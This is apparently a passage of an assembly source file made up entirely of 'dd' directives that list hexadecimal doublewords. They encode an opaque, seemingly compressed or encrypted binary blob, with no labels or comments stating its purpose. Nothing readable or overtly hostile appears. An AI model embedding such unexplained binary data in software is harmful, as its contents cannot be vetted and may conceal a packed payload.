0AE93021h, 75CA233Bh, 0C5545101h, 53D47DBAh dd 13118A84h, 0C3554845h, 8991C35Dh, 45010E6Ch, 0B4CBC355h dd 62662362h, 0C03FDE8h, 8CAAE50Ch, 2C456E96h, 4CCFC202h dd 431ED06Fh, 6EE95B54h, 21B21129h, 0F0F75423h, 8300A079h dd 0B5D14238h, 1265F51Fh, 60D67D9Ch, 9D8B6081h, 4C14FD28h dd 48170520h, 7222261h, 794DFB01h, 240E290Ch, 0D8DA0C50h dd 5530FD1h, 0BDE28275h, 4F4B0D11h, 0F5AA988Ch, 1A71A593h dd 6C3B8218h, 0F93C0167h, 0E5958B2Eh, 0A8596535h, 0BEF06B36h dd 82E47A0Fh, 0BAB148FBh, 21F43824h, 6D9D86CEh, 79D0C8E3h dd 0A1B5BF80h, 128B4F19h, 2823A98Dh, 2A93F93Eh, 0E9FE8B01h dd 0E0EFF612h, 0FDC9BD31h, 2D21A40h, 0D9829148h, 30F51814h dd 84130BE9h, 0A0008F2Dh, 0BB4C8AF9h, 0A0D6E0AEh, 0A001219Dh dd 0B22A1163h, 0FE10F164h, 0E605E17Fh, 890FA2C0h, 8D004112h dd 858B5FCBh, 74F492B1h, 0C5BD3360h, 39EA290Fh, 0E9618CC8h dd 1A84854h, 1C4DA1F8h, 87B51119h, 20880F16h, 0DA81669Fh dd 8504DEB4h, 11D0A84Bh, 8911F195h, 0ED2330D0h, 0AB6AAA24h dd 958CF5A9h, 3F80D71Dh, 0F3BCAEF1h, 2F21B50Dh, 0D3BE9416h dd 33B2942Eh, 0A9B956D2h, 0A035DB8Ah, 4E001E33h, 0A08D7853h dd 7C012357h, 0D9B0198Fh, 3949DC76h, 0A4158A95h, 5B58F24Ch dd 0E48FD9FCh, 0A6402FD9h, 643241CDh, 946F1E1h, 5A0E5223h dd 548944C3h, 42201762h, 0C0BC352h, 5049C6EDh, 0E60195Eh dd 8160D851h, 0ADE702EAh, 8F0F1D79h, 0EF802D80h, 5365618Eh dd 9C227DA6h, 0A2364303h, 611FC343h, 26B2006h, 35B0C48h dd 0A3FCD981h, 0D0DB7AD3h, 18F9F813h, 0EC11D824h, 951E44F5h dd 4D22C52Ch, 0FE1605A8h, 590D606Ah, 30B519ADh, 86639E8Dh dd 0B9BABA33h, 148320Eh, 44326CC1h, 5D2D8008h, 18E068D5h dd 23F53EC0h, 0C93179BDh, 17A55324h, 0E9E54915h, 0D95B9110h dd 645C23FAh, 41F9386Ah, 7352C88h, 0A9D18100h, 9B43D6F7h dd 0F2023E26h, 8BBF994h, 743DFA4Ah, 0B9299D00h, 0A5D53B6Ch dd 7122A99Ch, 28551816h, 61C6419Dh, 408BC911h, 0EF707118h dd 8D0160CCh, 9F63E121h, 13A41DC8h, 3DC1D003h, 7B137F8Ch dd 1F016083h, 11E9CF8Bh, 98891DC9h, 0A9963D89h, 0E4164D19h dd 5AF59F13h, 91C83B1Dh, 81D08005h, 27B4F4F1h, 0F2285462h dd 1D1D0BEFh, 6F891411h, 94C18481h, 244E297Dh, 6228D0D0h dd 0FA209D34h, 0C6C4308Fh, 0C6107E0Bh, 9B9B80Bh, 6B41965Fh dd 1511041Dh, 60148580h, 9402D9BEh, 8D0B318Bh, 61CCA675h dd 40EDAACCh, 800D4D5Dh, 0FF7CF883h, 4D248537h, 0F9F00489h dd 6B11F81h, 0CF69E918h, 6555820Bh, 28690F09h, 7710518h dd 2012DA1h, 8E82319h, 0DD070B00h, 5C375724h, 38C5624Ch dd 59010265h, 3841CCE9h, 0F361F21Fh, 1DBCB328h, 0C22C008Ch dd 5F37D00Bh, 0E70969FFh, 1D38B2Ah, 8C3ECF12h, 0F0CC8B46h dd 580D9323h, 0C58F07DDh, 863D8EDDh, 0A40666CBh, 326D2065h dd 261E973h, 1D0DB545h, 0C26F8511h, 3CE15E68h, 68168E19h dd 6A346768h, 0E283A060h, 0CD70FF2Eh, 0AF7D6DDh, 6EE8653Ch dd 243111E8h, 304104C1h, 3172FE77h, 40402138h, 5563C7B8h dd 0F1296027h, 0AB981389h, 0F6AC570Fh, 9AF2DF00h, 9675B1F1h dd 0EAEB0213h, 61C65A11h, 48E55392h, 0D76014E4h, 6A31BF66h dd 0BE3A0886h, 0B69234D9h, 5023C231h, 3312F062h, 23B1EC41h dd 8998755Eh, 4016222h, 0C3F6DB8Ch, 0FC6A8204h, 2965C627h dd 68569E90h, 0A8B81B52h, 9EA5E9Ch, 39FB9790h, 6A0B7999h dd 105F0404h, 8164DA1Dh, 0A1DAC569h, 47032D95h, 0BAAC9B68h dd 76923CECh, 31EF052h, 2661684Fh, 0E104DC2Fh, 3C43391Dh dd 537D06D6h, 1856286Ah, 75C08514h, 6841C075h, 56876498h dd 0D0992ADBh, 4C070BF3h, 25E7A468h, 8B206880h, 0FCDA9D22h dd 7A045D5Bh, 0E154DF2Ah, 0F86E1559h, 438F9D58h, 907940Ch dd 0CE304585h, 430283F9h, 0B5292E47h, 8511288Bh, 68023967h dd 92A5F797h, 1C2BE502h, 0C0267CDh, 53752858h, 0B46D6032h dd 914E1AA1h, 6F26960Ch, 89BBB934h, 0B01D34B2h, 1B801C11h dd 79F0885Ah, 269E893Fh, 3D0A035Dh, 520C7C0Dh, 0AF58036h dd 35FF6450h, 9A174B68h, 0C4801C11h, 8A800FA4h, 0A81DBD0Eh dd 0D8F2C118h, 0E0EC5260h, 615F050Ch, 258964h, 0DFE98135h dd 164C88D8h, 71517C1h, 293D7632h, 0E7BE8407h, 8988B4DEh dd 8EF700Ch, 0DAA3D082h, 6A690E58h, 0E989131Eh, 1A9D29F9h dd 18F39D80h, 0B856548h, 292B988h, 0E94216D7h, 0F8010146h dd 0A628DB33h, 40C03B75h, 0B073F01h, 7F058F64h, 0E9CB4EE8h dd 525F9E12h, 78A0BE9h, 0C490E8EAh, 8C39E6A5h, 0FFF600FEh dd 0C7D8D066h, 150F075Fh, 52C5ACAFh, 7C87028Eh, 0FB83E261h dd 338400E0h, 467C81B4h, 34E1001Dh, 0B734361h, 3DC2B763h dd 91F1FF85h, 38C0E906h, 0BD68F83h, 0FF30644Fh, 0C08BB552h dd 33C70CE7h, 0FF21A481h, 3283033Dh, 810415B8h, 5C8BC399h dd 0E855308Eh, 815D0411h, 409174EDh, 1B45838Bh, 370E4C04h dd 9A0C890Ah, 88684F5Dh, 0BA7AE1A3h, 2CDA7F19h, 26416A34h dd 0D7CD50CEh, 0AB466927h, 48D48A18h, 15492DDAh, 0D104D348h dd 600B1359h, 64277CC4h, 73E7010h, 0D4E9B866h, 83BB505Fh dd 0B95A6177h, 480B65Fh, 54855D7h, 0F7810064h, 0D465BB0Dh dd 0BA0E8685h, 1F34B640h, 5F190B64h, 0FBDCED0Ch, 4D580468h dd 0C10A7556h, 220E182h, 71392A01h, 0E779D20Fh, 149BB905h dd 12B502C1h, 8D0FC38Ah, 0A88A6782h, 15950382h, 1C3C5109h dd 658DC951h, 745AFB41h, 8A20E33Eh, 21D522E9h, 3DF9C0B1h dd 2C4110F2h, 0F4D34284h, 46742038h, 9E818B2h, 0FC8ACDDh dd 6D49B13Dh, 0B9F2B4A0h, 3B012015h, 0CF8B5A08h, 81728D31h dd 3AE9A662h, 40A7B4A8h, 35382E31h, 1B7C2E3h, 63784500h dd 7747065h, 206E6F69h, 61663749h, 45616D72h, 6CE7070Ch dd 33739765h, 87C202Ch, 743E6475h, 36CEF968h, 77CF3C6Ch dd 0CF67CF69h, 0ED644F63h, 0CFF72873h, 0DB4061DCh, 0F6C75264h dd 6D742A2Eh, 68542019h, 79D96B16h, 0AFC75EDh, 0E904DF0Dh dd 70288C01h, 62C07346h, 4C525443h, 66FFEB2Bh, 1E699ED1h dd 0A06497CDh, 70A18FB1h, 6C085179h, 0FC62E569h, 64287261h dd 42803629h, 73FA6556h, 3DFE99A4h, 94F325FEh, 587431Eh dd 4E496B63h, 0E1640F48h, 1C54554Fh, 6F723F50h, 0F0B1DD1h dd 0C80F3B68h, 74690DE6h, 420F0E3Dh, 5054DE1Eh, 1E18688Eh dd 0BD12E6EAh, 7C32C713h, 9CA712Dh, 7406B08Bh, 0F5220E50h dd 25686BAFh, 9B95CF01h, 0C124F2B0h, 190AA0C4h, 532C07CBh dd 0A209164Ch, 5945C32Bh, 150A4565h, 5125451Eh, 1B230ECFh dd 230EDB59h, 0EE35968h, 0DF598623h, 596F230Eh, 77230ED3h dd 210ED759h, 0C30527Eh, 0E9802BD1h, 420B1A2h, 8C1949BDh dd 0DA9953Ah, 8510C225h, 48F08A11h, 25811240h, 9F8C2h dd 8D2D1B64h, 52769095h, 4028C034h, 893BD4C3h, 68FB49FEh dd 91A19D6Ch, 9D8B1555h dd 4CC31613h, 65348BC5h, 11501162h, 54210FCFh, 58F2DB10h dd 210FDF11h, 52D3115Ch, 0D559FDCh, 2868A2AFh, 325A29CDh dd 0D319D70Ch, 4386DF0Ch, 91CF21DBh, 0C50A50CBh, 0FD141C93h dd 0E258207h, 0C060A45h, 0C4D53055h, 406A2419h, 194BE724h dd 85BB774Bh, 2F0BF601h, 0DFAB90C1h, 59430567h, 0E911A5h dd 0B27B070Bh, 33282C16h, 445945Bh, 0FF23A60h, 7CC38158h dd 0E192D0D7h, 9AA462FFh, 7DD615C1h, 34F45FCCh, 0B70F0F1Fh dd 0D0835AC9h, 7AEB501Dh, 0B3B5F2B0h, 23E433Eh, 79633DEh dd 0ED42405Dh, 9727E4D5h, 9D80CAFEh, 0ABC89AB3h, 0FEC501A0h dd 230F5D8Bh, 0CA32D0F4h, 85D8EE0Ch, 17C03E9Dh, 0A7620h dd 6A8A9148h, 8918595Eh, 0A9823B14h, 28CF3094h, 5B0DC6A8h dd 4EF8303h, 0D0ACD480h, 0E7A558FFh, 2622E368h, 20E85727h dd 49FC8422h, 0D0C607C2h, 802B52F8h, 5AB12EA6h, 0E9505971h dd 9100CE1Bh, 1AC393E0h, 3D0AF09h, 7B0636Bh, 64726EE9h dd 0A9779B00h, 0C26C0FC0h, 0B60E00CBh, 0FC63F092h, 320005BEh dd 64EAC02h, 661F27h, 511A3E8Bh, 0F3E1FD36h, 5CA17D00h dd 0A2BDA5B5h, 0CEE606EDh, 301323F6h, 0BED4B800h, 3D69F3DFh dd 2DDE05DAh, 80556ABCh, 0E7EDA068h, 1BB46E01h, 0EC1A7563h dd 7FDF208Eh, 0BBACEA42h, 1B23209Ch, 0BA873B08h, 4CE38BAFh dd 0D205C630h, 0FE69181Ch, 961B10Ch, 2621C0D8h, 0DEE31CEAh dd 766B1800h, 0F04568AFh, 0DC42001Dh, 0FFBAE6F3h, 0D401A314h dd 0BEC20466h, 8982C5Eh, 1CA221F6h, 4D74A300h, 0B0173701h dd 0A08E10F7h, 257D0EDFh, 0C66F8Bh, 0B04A9035h, 81D56088h dd 693645E2h, 21F12400h, 0E4D1F595h, 0D7F0001Dh, 39A666B6h dd 8CA06235h, 0E289EAF2h, 619ED3E5h, 8E1C0AC0h, 9A00BC90h dd 2105AEBAh, 0E20ECC4Bh, 8CCFA339h, 0FD2193h, 7E35AEB2h dd 73D7CAC2h, 5F89D108h, 46A020B8h, 1CD507B2h, 0C4586915h dd 0ED2D40D9h, 198A11Ch, 32B1D78Ch, 40E8C6E9h, 5DA9DF8Ch dd 3325A500h, 195181C2h, 0B05B536Ah, 2530F0A2h, 7CA80338h dd 0E2ABD0DCh, 3B6CE8E0h, 18AD5CA9h, 161C08D0h, 0C5C4EE69h dd 1CE82040h, 0F400482Bh, 0E04B1633h, 7D0C8A38h, 8179C041h dd 78E95405h, 95766200h, 20327F9Ah, 0B6490096h, 9167D886h dd 2D01CE39h, 33611555h, 704BBC2Eh, 55C0FB88h, 0E4604Ah dd 0F8BFBC01h, 0D7B241ABh, 806CC23Ah, 0A219E997h, 154D20B7h dd 0E8AA895Fh, 907E5200h, 0A655E8A3h, 4AD64C00h, 6FF6D7E0h dd 0BB0218FBh, 70DF6991h, 0E1EAA800h, 66DE0C2Ah, 0A019D1CDh dd 0DB01B023h, 3669131Ch, 2F88DC18h, 0F91C00D3h, 0B64116CAh dd 1800B487h, 85F5EB3Eh, 73AAA266h, 0B8950010h, 270CF0C4h dd 0E60C06CFh, 79EFC7E9h, 7F1900D3h, 9E2A68B6h, 226670E3h dd 21DB08h, 0D7F1130h, 0D7252699h, 0BC6161FAh, 0F06BABF9h dd 570F2986h, 4EF119BDh, 0C0F288C0h, 661EB9B1h, 18BD7800h dd 0E2E37E63h, 0AC916Ah, 318C16DCh, 62FA1FA7h, 0C0DEB424h dd 0EC8D02F6h, 486B9AD1h, 0C6DF480h, 5509F7BEh, 701F375h dd 0C5CEE8F4h, 6C48DE71h, 0A312C01Fh, 744666DAh, 1AA0887Fh dd 0C60BA30Ah, 608094DCh, 8C7015FFh, 8E67002Bh, 20509395h dd 0C40723AAh, 3359C65Eh, 0AB993F8Fh, 0E2C870B1h, 19CB00C7h dd 30531C5Ah, 0F9090B12h, 20D18873h, 48C8B008h, 4F0C0180h dd 41CD076Dh, 78D0C0B8h, 0D58FDE1Dh, 0E718B642h, 11649742h dd 80678FF2h, 0E86F6B0Ah, 79EC6264h, 0FC9025D7h, 1A1D66B0h dd 630CEF9Eh, 3AB1972h, 0B4E13011h, 0AE26926h, 0B85C3F21h dd 7F18C50h, 0AF1F008Fh, 0E32C7BD7h, 29CEA460h, 2B615841h dd 0B3B70073h, 0B4666FC6h, 6C9010F6h, 0A6672402h, 4C21DFC7h dd 0AEB51E04h, 0CFB38818h, 0F843AC64h, 81A8AEADh, 61090A2Bh dd 8239337Ch, 2FC07EF4h, 1A3FE940h, 0B4B2E2B5h, 0AF917201h dd 177A6B1Eh, 1C0E6EFh, 8BF96D68h, 0F425EC2Ch, 0E1FCBD9Fh dd 0D693F200h, 74A56EB7h, 0BA20C0E3h, 0EF16DB53h, 7C8820A7h dd 41AC0B0h, 0F862B5E8h, 0A0EAC778h, 11F6909Ch, 9E761428h dd 887CCCD9h, 0C7055A61h, 0BEF625C8h, 0C478AE80h, 1710A2D8h dd 0A6890604h, 0DA0210DDh, 9EC21464h, 0F0FC44C7h, 58451361h dd 0BEBC0630h, 0C618D0B1h, 1020E78Ah, 0CD787601h, 0F150B348h dd 0EE2890D9h, 0F0F9FA21h, 0C13504Ch, 0F8C67F01h, 0BD006721h dd 0EC2B9F72h, 63F0C139h, 0EB8918F6h, 908E3918h, 30213941h dd 3618D6F0h, 39C376BDh, 8961ABh, 52C6E351h, 6A9ED1E8h dd 0A310BF00h, 0AE6441E9h, 0DDC769Dh, 0D963AAA6h, 77B86091h dd 64C098ABh, 0BC5C296Dh, 926C00C8h, 3DD796E5h, 0BAE0C1D1h dd 0CC1E1BBBh, 0A318CFE2h, 0AE192840h, 9E723BF2h, 0B15D1274h dd 0EA0C028Ah, 0D461F0E8h, 7A9030D9h, 44FB48h, 0CE783D6h dd 0C3F7B721h, 0DC1BF109h, 0BFC2A8F0h, 0D7B3E505h, 4C70E63Eh dd 0ADFB9ACh, 83BDE71Bh, 46B744E0h, 1948161Fh, 0F05F66A7h dd 2238029Bh, 0ACA0E0B6h, 0EDA63D6Bh, 610B9C90h, 8657E8D8h dd 821FC10h, 3EFE3CAFh, 6413E021h, 8FA2340Eh, 0A8451658h dd 0BC191269h, 92E0D821h, 7182FFC6h, 8C996DAAh, 0CC48A44Ah dd 0F201B4D2h, 891C9EE2h, 4887BB43h, 4C993A06h, 14888EF8h dd 0F7BF3951h, 9E14081h, 80D388DEh, 27204AA1h, 0B88FA3EEh dd 7AB1DA8h, 0DE4032E4h, 0A9E9A520h, 8D622AAAh, 0C890E690h dd 11809510h, 9C64EFA3h, 5527011Fh, 0C67A33E8h, 49C187F1h dd 0E240FB66h, 0A0D84C6Dh, 0A8B5DAF8h, 4C20ACBCh, 3F06841Ch dd 79EF409Bh, 9E000B78h, 0A3712C68h, 0F32DB575h, 939FB081h dd 20A8E4E0h, 6B88C72Ch, 0D10400AFh, 7706AEB4h, 3802BB7Eh dd 89F10FCCh, 0A0C0AFA8h, 7FC8AE8Dh, 48A7392Eh, 19AC2D2Ch dd 24E021B9h, 0C0653D1Ch, 881EEB59h, 0BD113818h, 260C00AEh dd 0ABE24837h, 0D4A6C963h, 41A8D649h, 63605828h, 21DA6D30h dd 4C186225h, 641F7826h, 2119F0A5h, 0C3548897h, 3D1255D0h dd 2000C65Ah, 0BD3E3064h, 2CFE00F0h, 1E6D6617h, 0ED56A7FAh dd 213A0514h, 30041462h, 0CB27CD6Dh, 0EC03A089h, 690E6F88h dd 62332710h, 0E0E7C86Bh, 317A647h, 6FCA8BEh, 2900EF89h dd 0ED8FBCE6h, 4A16191h, 5DAAFF36h, 18048881h, 28A57876h dd 87BC36E1h, 221A8F0Eh, 80968CEFh, 0C6A6282Ch, 47C0A8DFh dd 0E8852C3Ah, 0E26130D6h, 0DE019312h, 0AF1E5230h, 1C22E1EEh dd 1B80C221h, 0A019B9D1h, 98DF50A1h, 109D4242h, 1862C4BDh dd 0B5109CAAh, 0F24384C6h, 16D00510h, 3028EE86h, 0E8544D41h dd 0D721BF00h, 0E4CFABB9h, 0AE025CEAh, 0CD6227C2h, 6C2C87E6h dd 0E6EC2823h, 0BA6E24F0h, 0E500BC90h, 0DBE06B0Dh, 11695569h dd 29DC8481h, 0E8E40825h, 8109BF8Eh, 31D171BBh, 89102084h dd 0C3C8907Dh, 0FA097E66h, 80E02978h, 10EE4DA8h, 19E30265h dd 2F723D69h, 0BD6478C0h, 3CFF5924h, 0EF6BA100h, 3EC8690Dh dd 10B366DDh, 5133DC89h, 35DC6D8h, 7224A331h, 803E35E9h dd 30E97368h, 0C9F9216Ch, 0F2188237h, 88E96Dh, 0DEC9627Ch dd 30E1E80h, 0FA40A752h, 264211BAh, 95B71894h, 4C2EBB30h dd 8E209869h, 1563B4A1h, 8D843887h, 88DF4701h, 89CC348Ah dd 94E25928h, 2CA7C218h, 30FC6E8h, 8DFB539h, 0C000FC5Bh dd 0F496D089h, 6499C1E7h, 2423292Ah, 4229C986h, 28FD11FCh dd 13033722h, 0FB9E5770h dd 0D83ED0E2h, 6243004Eh, 0F5382DBCh, 850081A2h, 246CD20Fh dd 0F2F106FFh, 53E90011h, 3CBDB2FCh, 1D0ECF5Fh, 98A70F9Fh dd 0EDBDAF2h, 3BC70239h, 0E1122FC0h, 6E1EE0DDh, 4E8ED1BDh dd 0B5A8A061h, 180D5368h, 2948BBEEh, 2100F38Fh, 0E46A01EDh dd 20C28B59h, 6E0069B6h, 496F0A7h, 395545D6h, 4A83B7D4h dd 7BF6ED68h, 566580CCh, 0E20016CAh, 0E33E474Dh, 0CB12Bh dd 0EECCFC4Ch, 0F83A9B23h, 0E4B47500h, 224DF7A7h, 483C1C78h dd 2F687B0h, 7E7300BAh, 0FD001240h, 0A02B900Bh, 2DA8B5h dd 57C72C3Ch, 3A14FEBBh, 3987F104h, 7CA005F8h, 53970F6Eh dd 36C188h, 0FE921CBh, 4B0085C4h, 207EB0B4h, 138D0B22h dd 0EA89054h, 4040AE0Ch, 17F2C8F0h, 58EB5507h, 5E203BF4h dd 318825h, 9E24DFF5h, 8D64A62Ah, 0CA280770h, 7200A86Ch dd 0ECF68EA3h, 70393EEh, 927B41FBh, 0D7DDC02Bh, 1C00D126h dd 7B5BF11h, 0D5EF4Fh, 0F65A7AEBh, 0C9E3DB4Dh, 9026F700h dd 0B44CB2A6h, 0D4E88Fh, 0FA1D36D2h, 0DDBD81A0h, 23F32200h dd 0B8B93EFDh, 7E7616h, 0BAB58847h, 14029E76h, 0F2006C9Ch dd 770FE1Ch, 27A9007Bh, 3AFA6954h, 0B700CED4h, 0C35EB5ADh dd 1FBCCBD8h, 80C6552Eh, 1E77D18Fh, 3F3E4F9Ah, 87A887D3h dd 0D960EBBFh, 9C7AE3h, 94FB8C35h, 0F42FE111h, 0DE3DC5E0h dd 5E44803Dh, 159345D5h, 4C221E3Ah, 0A27F40DBh, 53A8D949h dd 344E48h, 0A01693D3h, 90026410h, 108EC38h, 976A0C9Ah dd 0D8C9804Bh, 0A90F5188h, 0E0877585h, 2A771645h, 0E0505F4Dh dd 8E002968h, 0D9B613Bh, 3A65FE9Fh, 0E1800BD8h, 0AE967CB3h dd 45006F15h, 0E744EB75h, 114CA8h, 3FAA7A7Bh, 9658EE0Ch dd 68505900h, 0D7CD31ADh, 0A1F249h, 915A9779h, 941B0940h dd 78E35903h, 0F8D50B26h, 0FC9B62h, 0C8FE90E2h, 0E4912071h dd 0D888A551h, 322C1389h, 800054D6h, 0ABC8CED7h, 0E2F75D5h dd 0E9E1A606h, 1670C033h, 0A21E0374h, 0C240E6FFh, 565F42DCh dd 24210040h, 8185A6F9h, 6800DE13h, 0FD7AFB20h, 0DD0D9Dh dd 41AEF85Fh, 21CB5BC8h, 96BAB39h, 536D09h, 730625FCh dd 0BA951EB0h, 0BC515435h, 0A9194903h, 111C4018h, 0FF80A3E3h dd 9FDC1C28h, 0CE19C452h, 0BB648290h, 0D0FCB6E0h, 0D4297028h dd 5C2E1712h, 4781781Eh, 7E0AB6DAh, 1DAF1082h, 9C40C12Dh dd 0FD07F559h, 0FE302CB9h, 0A21C9740h, 283C48B4h, 8483930Eh dd 0F388C8Ch, 5C263F01h, 0A30E4C20h, 759BE0h, 0E60B4407h dd 0E3CE8ECAh, 0BEF95000h, 4548AD7Ch, 0CC60908h, 7400EE40h dd 5878E1D9h, 0D84EF000h, 6C2B1038h, 8C2C009Ch, 704977C1h dd 8BFCE8ABh, 0E57B3500h, 7ED2F61h, 4D8D003Ch, 2BE09AB2h dd 0D10008D3h, 9ECB9041h, 5BF7B4h, 0A51FE117h, 0CE72C630h dd 444D4872h, 627F7A9Ch, 8069D53Eh, 6596060Fh, 0BADEEC4h dd 0EA52784Bh, 0FF44608h, 40F33FB2h, 1ECE5814h, 0BF00E9DEh dd 3435E550h, 242DE88Fh, 3640FDAh, 0B66B742Ah, 5F84A380h dd 38A69402h, 8009AAA8h, 8310D2A0h, 14CB007Ah, 5FA2429h dd 8D020DE4h, 4A527B70h, 1230E819h, 0B5B2001Dh, 0A4B68B40h dd 2C00F188h, 7C5AC974h, 0C24990h, 128DB0CCh, 0F10B57C8h dd 0BC99AA00h, 81C96B55h, 0C5F40B08h, 7060B184h, 57E86332h dd 7FD11500h, 0AAB4F534h, 10E900A3h, 8C427DD0h, 2912E76Eh dd 0C307BC89h, 6480DAE5h, 0B049F444h, 2D170049h, 0CB409FB8h dd 374C5461h, 0F2D800ACh, 0E875BA3Eh, 33CFA07h, 0E085CD6h dd 0F87C6F0Ch, 6146AD00h, 0C3B3C937h, 50F44Ch, 289E441Ah dd 0B01E9CC0h, 0AA453Eh, 743F1BD6h, 68F7B5h, 0F806C4A3h dd 534ABEBDh, 3D5B0300h, 0A466188Eh, 0B4871C4Eh, 55F0C0C5h dd 0E0629706h, 193AD602h, 817DC27Fh, 912C52DCh, 0E9BBDCh dd 310AF303h, 0C663CD8Ah, 48A8C550h, 9CE37300h, 27CA220Fh dd 33D90052h, 0D1BA5B86h, 0B107A82Eh, 3D02CE6Eh, 741072E1h dd 0F9E4D88Eh, 87D750E1h, 4F4C3064h, 9DA2FD1Eh, 3411C541h dd 0B3E47F8Eh, 0C0D900F6h, 103A72D4h, 0D8A020C3h, 963FC4B5h dd 90CF00C1h, 7E59F64h, 262D00C7h, 0C44DA6E7h, 0DA4CDE1Dh dd 8E9E0763h, 7C900F82h, 7A2AC58Dh, 24F90090h, 0A05FEEBAh dd 0EB00F4B3h, 1208734h, 33C91Ah, 8F14FA94h, 0FD628E51h dd 6A51E00h, 9A7F2FAFh, 16EF2B8h, 0AC3C31D8h, 0CC8DFAADh dd 0A00B4F4h, 0F853BAEBh, 1E78D936h, 450B1387h, 814E8CC4h dd 285C2C8Eh, 0FD3D0080h, 6B546404h, 74CB00E4h, 90B858C7h dd 307EDABh, 0F4B70FADh, 1FD1EFC0h, 4B7200C9h, 0A9E06BF1h dd 0BE008651h, 1C27CF0Ch, 242C4D3Dh, 4E498E4h, 20C5CBBFh dd 30C18DFh, 0EBF5B057h, 97C085CAh, 683C5473h, 31E22CE5h dd 0F6373002h, 2ED450DDh, 2804F2AEh, 803C1DFCh, 10B3401Dh dd 5C19EA4Ch, 0E429DE61h, 3D10FBF2h, 62051283h, 0C9642073h dd 3B69BCD0h, 6A050186h, 6B520BB5h, 8C399Fh, 2C7ACEADh dd 2B0C34h, 0DE2510FBh, 0F3549C4Ch, 382238h, 300BFA27h dd 984AD7h, 0E91B8760h, 76EAB61Dh, 0B5E4CF13h, 47332C01h dd 5880D2E7h, 669EE268h, 0CB6ED90h, 0ECC73F83h, 1783C06Fh dd 0C221041Dh, 43BDAD71h, 3BECCA39h, 9E076A99h, 41EA68BBh dd 98CDE047h, 0FE103259h, 1734A8CCh, 1671003Eh, 6F75B8E6h dd 0E100F404h, 6B1FB779h, 66E838Eh, 1647BDA2h, 58DC3935h dd 3A002AD6h, 3904CF92h, 6640A123h, 68B12081h, 4121388Ch dd 40AC700Ch, 0CF932358h, 6F411A04h, 2883E53Fh, 2572B0E3h dd 0BC2E0029h, 696BACDCh, 41CF21C6h, 83CE0013h, 7CCE3CFh dd 9E7A669Bh, 389C4087h, 29C9F81Dh, 0E149000Dh, 3E60BFE2h dd 0AB0CF95Ch, 3621DA63h, 0E8A67809h, 0F3181362h, 20483E40h dd 0D226640Eh, 0FEC71EE3h, 0DACC5BC8h, 0E81DD914h, 0C80474C4h dd 0A362AB29h, 0E38974E0h, 0FBB84980h, 47E6E9DAh, 5851FF5Bh dd 4B88B804h, 6670489Fh, 22242042h, 0A2230FFh, 8D4022E5h dd 25228622h, 44140493h, 806C48EBh, 4BC1377Ch, 0A10045D4h dd 74E8B42Bh, 70497F7h, 0A00D62D8h, 0FF725071h, 79076C7Fh dd 0CBDA65B4h, 0A5BBC420h, 1C29006Fh, 9C1B8E07h, 9400C849h dd 0EDAC92E5h, 2F7AE0h, 0B1A30B33h, 4FA4E70Fh, 24EBC600h dd 0AC621937h, 93F5164Eh, 51B801B9h, 0E7BF25ECh, 70085081h dd 98006E70h, 1CAEA36Bh, 2AB7304Fh, 79425E5h, 0D50796A0h dd 0D6903259h, 7B008C58h, 6A9F0E05h, 0B9CA38h, 0EFB4AE1Dh dd 62C404E2h, 417CDF03h, 8B619E42h, 0E0D6A9FFh, 2A49CBF8h dd 0C0A61Bh, 999BA278h, 5818F755h, 85D8100h, 0E4A79DD2h dd 0E06300ECh, 67DD8F7Fh, 18B90940h, 39A79400h, 0F01DCD5Eh dd 0C845005Ah, 0B7EDD5F5h, 0EC98627Eh, 8C2DC904h, 78C09AC7h dd 1EDF5Fh, 0F9DC57F6h, 0FEB37993h, 50E45D0Eh, 0F45A6168h dd 96ECB5C1h, 42580BFAh, 7F800124h, 0AD7347CDh, 39987E07h dd 1190FFF8h, 79F02BE1h, 9501001Ah, 17BF8D8Fh, 74021F61h dd 0DAE22142h, 0AB7C0Ch, 327ABD7Fh, 2D00C20Bh, 62A5EEF1h dd 0D9C4C7h, 74FE78B2h, 8028BCDCh, 901E9507h, 0CABF927Dh dd 0E71ED8F2h, 70E5B4C0h, 326F3CFh, 295AF490h, 2000E110h dd 75D46A94h, 0EE8BE57Eh, 7F550030h, 8A3609FCh, 0CA00791Bh dd 16F4A834h, 0CEA0F7h, 78610194h, 59B4F3ABh, 5780AE07h dd 1F40C30Dh, 83537Fh dd 3D0132BBh, 44FE6A5Ch, 0AC096374h, 883C5FF6h, 4301FE62h dd 6C2204B0h, 4C955864h, 3B77C816h, 86AC3E05h, 0F17500DDh dd 4A85483Ah, 0E1003CFCh, 0CCE4E3D9h, 0E6EB82h, 0C4162FC5h dd 0BA801B88h, 9DB440Eh, 4A00DCB1h, 0A77896D4h, 1E77C8h dd 392A9776h, 0C6A20485h, 9B8B0D1Dh, 21F2880h, 1803E684h dd 4E06D33Fh, 2C96DF97h, 4F58EA00h, 2ACA5046h, 1EF4E62Fh dd 9D75140Ah, 0FEE9879Dh, 0C049037h, 0D9006EA7h, 0BBD1396Ah dd 0F8A25ACBh, 0F77F27h, 0B5EF17E7h, 0DBDA54B1h, 1F7AD102h dd 40BF8733h, 7686798h, 20419304h, 1A08C1E9h, 0B53320DDh dd 9A824209h, 65D82F79h, 8C805F49h, 9050E39Ch, 27D000ACh dd 0EAE11228h, 789073D3h, 5C56C018h, 1728528h, 0D0FE89F7h dd 0FBF82F6Ch, 21112BF8h, 0C36A6502h, 0C0EF7D3Eh, 768BD2Ah dd 0F7EC4293h, 0CFC17055h, 430086B5h, 0E438B2A5h, 5E3C6Ah dd 55884BAAh, 72AEB79Ah, 0C16C3918h, 0EED66632h, 41183831h dd 78007725h, 0DC67FB4Ah, 0F468AD30h, 33CD0Dh, 58A86128h dd 0F604DA85h, 70A16E0Fh, 7E1E0034h, 0AC6F52h, 3CE6CC3h dd 0E0B48EB1h, 0B3D81000h, 0F539ECD9h, 7A4009DFh, 0C86E1DB7h dd 0CF71EA00h, 64546C5Eh, 28F42ED2h, 49530008h, 27EB940Ah dd 0C740600Eh, 58248035h, 0D7F5D0h, 9D68ECDAh, 0EBC39828h dd 63000498h, 4DF16B23h, 4C0D228Dh, 10C0502Eh, 0DD9D801Dh dd 0F8128563h, 6DC4B0A1h, 2CDA04B0h, 92F1CEE8h, 9A4055C0h dd 0D1E85702h, 5DD5A100h, 9FA95E8Ah, 426B4C0Ch, 7A074600h dd 0CC691A09h, 0E1259900h, 9CC0C240h, 0F2BD2E23h, 9FA48188h dd 0DC24464Eh, 0C7009B81h, 534865FFh, 2EF3CE31h, 681587h dd 7A68891Eh, 78004488h, 0DB65DA95h, 7E0980Ah, 0D1417936h dd 7C9CF027h, 6F006BE3h, 0F69632C8h, 0B0A84910h, 